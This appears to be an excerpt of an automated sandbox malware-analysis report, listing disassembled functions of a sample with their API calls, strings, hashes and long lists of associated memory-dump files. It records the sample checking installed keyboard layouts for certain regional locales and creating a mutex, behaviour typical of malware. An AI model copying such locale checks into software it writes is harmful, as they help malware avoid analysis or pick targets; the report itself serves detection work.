Associated: 00000000.00000002.2184058705.000000000034D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184080081.000000000034E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184080081.000000000036D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184134803.0000000000384000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184153740.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184177499.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184195693.000000000039C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184216554.00000000003A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184258734.00000000003A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184299165.00000000003B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184335891.00000000003B4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_random.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValue
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload$VUUU$invalid stoi argument$stoi argument out of range$t#$t#$t#
API String ID: 3677997916-3985744040
Opcode ID: c04647712951832867d203b49bc5d890dda97159c20273a62091675175a1ed80
Instruction ID: 1137a0e75807374acb6c5b829c4a9fc0bb5464caa735c5ff5f0c4a0ba7682bb4
Opcode Fuzzy Hash: c04647712951832867d203b49bc5d890dda97159c20273a62091675175a1ed80
Instruction Fuzzy Hash: C3C20571A002189FDF28DFA8CC85BEDB7B5EF45304F148299E509A72D2DB759A84CF90

Function 000A735A Relevance: 6.3, APIs: 1, Strings: 2, Instructions: 1031
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

t#, xrefs: 000A77E9
t#, xrefs: 000A7444, 000A75A2, 000A77C4, 000A79A4, 000A7AF4, 000A7D5B, 000A83AB

Memory Dump Source

Source File: 00000000.00000002.2182917529.00000000000A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.2182669159.00000000000A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182917529.0000000000102000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183000574.0000000000109000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183023491.000000000010B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183049504.0000000000117000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183174403.000000000026E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183198375.0000000000270000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183224746.0000000000282000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183224746.0000000000290000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183272831.0000000000293000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183296339.0000000000294000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183317982.0000000000295000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183338775.0000000000296000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183359688.0000000000297000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183383671.0000000000299000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183410807.00000000002A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183441616.00000000002A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183484425.00000000002BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183508664.00000000002C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183530942.00000000002C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183571136.00000000002D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183600749.00000000002DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183626520.00000000002E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183651042.00000000002E9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183675519.00000000002ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183715487.00000000002F5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183760013.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183798599.000000000030E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183816602.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183834127.0000000000316000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183854335.000000000031B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183873864.0000000000322000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183903490.0000000000326000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183931663.000000000032E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183967335.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183994600.000000000033F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184019272.0000000000340000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184058705.000000000034D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184080081.000000000034E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184080081.000000000036D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184134803.0000000000384000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184153740.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184177499.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184195693.000000000039C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184216554.00000000003A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184258734.00000000003A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184299165.00000000003B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184335891.00000000003B4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_random.jbxd

Yara matches

Similarity

API ID: ConditionVariableWake
String ID: t#$t#
API String ID: 1192502693-1898090486
Opcode ID: 8b990ae85aeb9c4de589fd34bc6dadbcaa88d126e861aff86069a40c3e31a6fa
Instruction ID: 0e0e4c891a0a3dcc30cd0bfd723e18117f6ea4cbb95deaf8d67941f885c308f5
Opcode Fuzzy Hash: 8b990ae85aeb9c4de589fd34bc6dadbcaa88d126e861aff86069a40c3e31a6fa
Instruction Fuzzy Hash: C5725A71A14244ABDB18EFA8CC89BDDBB75EB46310F50825DF409A73C2DB759A80CB91

Function 000D652B Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

ExitProcess.KERNEL32(?,?,000D652A,?,?,?,?,?,000D7661), ref: 000D6567

Memory Dump Source

Source File: 00000000.00000002.2182917529.00000000000A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.2182669159.00000000000A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182917529.0000000000102000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183000574.0000000000109000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183023491.000000000010B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183049504.0000000000117000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183174403.000000000026E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183198375.0000000000270000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183224746.0000000000282000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183224746.0000000000290000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183272831.0000000000293000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183296339.0000000000294000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183317982.0000000000295000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183338775.0000000000296000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183359688.0000000000297000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183383671.0000000000299000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183410807.00000000002A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183441616.00000000002A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183484425.00000000002BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183508664.00000000002C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183530942.00000000002C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183571136.00000000002D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183600749.00000000002DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183626520.00000000002E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183651042.00000000002E9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183675519.00000000002ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183715487.00000000002F5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183760013.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183798599.000000000030E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183816602.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183834127.0000000000316000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183854335.000000000031B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183873864.0000000000322000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183903490.0000000000326000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183931663.000000000032E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183967335.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183994600.000000000033F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184019272.0000000000340000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184058705.000000000034D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184080081.000000000034E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184080081.000000000036D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184134803.0000000000384000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184153740.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184177499.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184195693.000000000039C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184216554.00000000003A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184258734.00000000003A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184299165.00000000003B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184335891.00000000003B4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_random.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: b5ec106eb8e3e9a4ac511f692edab8667d6ccecf707a93594268fc2427c3c7e7
Instruction ID: c6861d8db90b4fab8638965c3b76c905d25fe3992eb39a6ab3c75c845376817e
Opcode Fuzzy Hash: b5ec106eb8e3e9a4ac511f692edab8667d6ccecf707a93594268fc2427c3c7e7
Instruction Fuzzy Hash: BCE08C31040A08AECE257F58D809AAE3B6AEB12785F514801F80946326CB26EE82C6A0

Function 04BF0DA1 Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2186877014.0000000004BF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4bf0000_random.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ba20e8b0811cc4de855a338fb98fad3e5e925bb15c2b60b58be0823637352b0
Instruction ID: ee26a0e8d8e25c35ef73028e973983fbf7917b667b501ecb8d5a9062a6475523
Opcode Fuzzy Hash: 0ba20e8b0811cc4de855a338fb98fad3e5e925bb15c2b60b58be0823637352b0
Instruction Fuzzy Hash: 9A012AFB78D114BD6052A0862F149F6A65EE5D673033088A6F50FC5813F2942E4D7031

Function 000A5C10 Relevance: 17.9, APIs: 2, Strings: 8, Instructions: 434COMMON

Download Yara Rule

Strings

Keyboard Layout\Preload, xrefs: 000A6054
00000419, xrefs: 000A6098
t#, xrefs: 000A5DB8, 000A5E00, 000A5DC5
t#, xrefs: 000A5EE0
00000422, xrefs: 000A60C9
0000043f, xrefs: 000A612B
00000423, xrefs: 000A60FA
t#, xrefs: 000A59F4, 000A5C24, 000A5D67, 000A5EE6, 000A603B, 000A65F7

Memory Dump Source

Source File: 00000000.00000002.2182917529.00000000000A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.2182669159.00000000000A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182917529.0000000000102000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183000574.0000000000109000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183023491.000000000010B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183049504.0000000000117000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183174403.000000000026E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183198375.0000000000270000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183224746.0000000000282000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183224746.0000000000290000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183272831.0000000000293000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183296339.0000000000294000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183317982.0000000000295000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183338775.0000000000296000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183359688.0000000000297000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183383671.0000000000299000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183410807.00000000002A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183441616.00000000002A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183484425.00000000002BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183508664.00000000002C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183530942.00000000002C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183571136.00000000002D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183600749.00000000002DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183626520.00000000002E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183651042.00000000002E9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183675519.00000000002ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183715487.00000000002F5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183760013.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183798599.000000000030E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183816602.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183834127.0000000000316000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183854335.000000000031B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183873864.0000000000322000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183903490.0000000000326000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183931663.000000000032E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183967335.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183994600.000000000033F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184019272.0000000000340000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184058705.000000000034D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184080081.000000000034E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184080081.000000000036D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184134803.0000000000384000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184153740.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184177499.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184195693.000000000039C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184216554.00000000003A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184258734.00000000003A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184299165.00000000003B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184335891.00000000003B4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_random.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload$t#$t#$t#
API String ID: 0-1094863715
Opcode ID: 1bed3a2cc917a091f9f0751208aed8d41232aff6eec614043961ebfdfe2a7663
Instruction ID: 906517ef33d33af94ea5c0b3dc38a49f06a1391f853d4ac2cfb5e4a7ebaa7879
Opcode Fuzzy Hash: 1bed3a2cc917a091f9f0751208aed8d41232aff6eec614043961ebfdfe2a7663
Instruction Fuzzy Hash: 51F1D2709002589FEB24DF54CC85BEEBBB9EF45304F5082A9F508A72C2DB759A84CF95

Function 000AB1A0 Relevance: 3.2, APIs: 1, Strings: 1, Instructions: 244
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitialize.OLE32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 000AB3C8

Strings

t#, xrefs: 000AB1B7

Memory Dump Source

Source File: 00000000.00000002.2182917529.00000000000A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.2182669159.00000000000A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182917529.0000000000102000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183000574.0000000000109000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183023491.000000000010B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183049504.0000000000117000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183174403.000000000026E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183198375.0000000000270000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183224746.0000000000282000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183224746.0000000000290000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183272831.0000000000293000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183296339.0000000000294000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183317982.0000000000295000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183338775.0000000000296000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183359688.0000000000297000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183383671.0000000000299000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183410807.00000000002A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183441616.00000000002A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183484425.00000000002BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183508664.00000000002C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183530942.00000000002C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183571136.00000000002D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183600749.00000000002DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183626520.00000000002E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183651042.00000000002E9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183675519.00000000002ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183715487.00000000002F5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183760013.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183798599.000000000030E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183816602.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183834127.0000000000316000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183854335.000000000031B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183873864.0000000000322000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183903490.0000000000326000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183931663.000000000032E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183967335.0000000000332000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183994600.000000000033F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184019272.0000000000340000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184058705.000000000034D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184080081.000000000034E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184080081.000000000036D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184134803.0000000000384000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184153740.0000000000385000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184177499.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184195693.000000000039C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184216554.00000000003A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184258734.00000000003A5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184299165.00000000003B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2184335891.00000000003B4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a0000_random.jbxd

Yara matches

Similarity

API ID: Initialize
String ID: t#
API String ID: 2538663250-134853180
Opcode ID: ca76551632bd28acd7f5a63546223ebe90f3e16e8b72bd411ce82d218bda3f5f
Instruction ID: b1b1776a070766fa0c7d1884614e17643eb76fd5521d9a444a537befeabd66ec
Opcode Fuzzy Hash: ca76551632bd28acd7f5a63546223ebe90f3e16e8b72bd411ce82d218bda3f5f
Instruction Fuzzy Hash: BAB11870A10268DFEB28CF54CC99BDEB7B5EF05304F5085D9E40967292D775AA84CF90

Function 000A9BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 000AA963
CreateMutexA.KERNEL32(00000000,00000000,00103254), ref: 000AA981

Memory Dump Source

Source File: 00000000.00000002.2182917529.00000000000A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000000.00000002.2182669159.00000000000A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2182917529.0000000000102000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183000574.0000000000109000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183023491.000000000010B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183049504.0000000000117000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183174403.000000000026E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183198375.0000000000270000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183224746.0000000000282000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183224746.0000000000290000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183272831.0000000000293000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183296339.0000000000294000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183317982.0000000000295000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183338775.0000000000296000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183359688.0000000000297000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183383671.0000000000299000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183410807.00000000002A8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183441616.00000000002A9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183484425.00000000002BF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183508664.00000000002C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183530942.00000000002C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183571136.00000000002D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183600749.00000000002DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183626520.00000000002E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183651042.00000000002E9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183675519.00000000002ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183715487.00000000002F5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183760013.00000000002FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183798599.000000000030E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183816602.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183834127.0000000000316000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2183854335.000000000031B000.00000040.00000001.01000000.00000003.sdmpDownload File
